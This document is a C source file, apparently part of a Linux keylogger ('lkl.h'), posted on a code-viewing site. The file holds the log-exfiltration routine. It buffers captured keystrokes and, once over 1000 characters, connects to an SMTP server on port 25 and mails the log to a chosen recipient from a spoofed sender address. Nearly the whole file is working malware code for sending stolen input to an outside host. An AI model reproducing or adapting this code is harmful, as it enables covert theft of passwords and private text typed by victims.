📄 net.c
字号:
#include "lkl.h"#define CMDNUM 6#define LOGBUF 1000static char logbuf[1024];char *mail[CMDNUM] = {"HELO tin.it\n", "MAIL FROM:gigi@tin.it\n", "RCPT TO:", "DATA\n", ".\n", "QUIT\n"};void snd_mail(char ascii[], char host[], char rcpt[]){ int fd, i, j; struct sockaddr_in sock; strcat(logbuf, ascii); if(strlen(logbuf) >= LOGBUF){ printf("\n\nsending logs to %s via %s\n\n", rcpt, host); sock.sin_family = AF_INET; sock.sin_addr.s_addr = inet_addr(host); sock.sin_port = htons(25); memset(&sock.sin_zero, '\0', 8); if((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); return; } if(connect(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1){ printf("\n\nunable to connect to %s\n", (char *)inet_ntoa(sock.sin_addr)); perror("connect()"); puts("\n"); return; } for(i = 0; i <= (CMDNUM-1); i++){ send(fd, mail[i], strlen(mail[i]), 0); if(i == 2){ send(fd, rcpt, strlen(rcpt), 0); send(fd, "\n", sizeof(char), 0); } if(i == 3){ send(fd, logbuf, strlen(logbuf), 0); send(fd, "\n", sizeof(char), 0); } } close(fd); bzero(logbuf, strlen(logbuf)); }}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -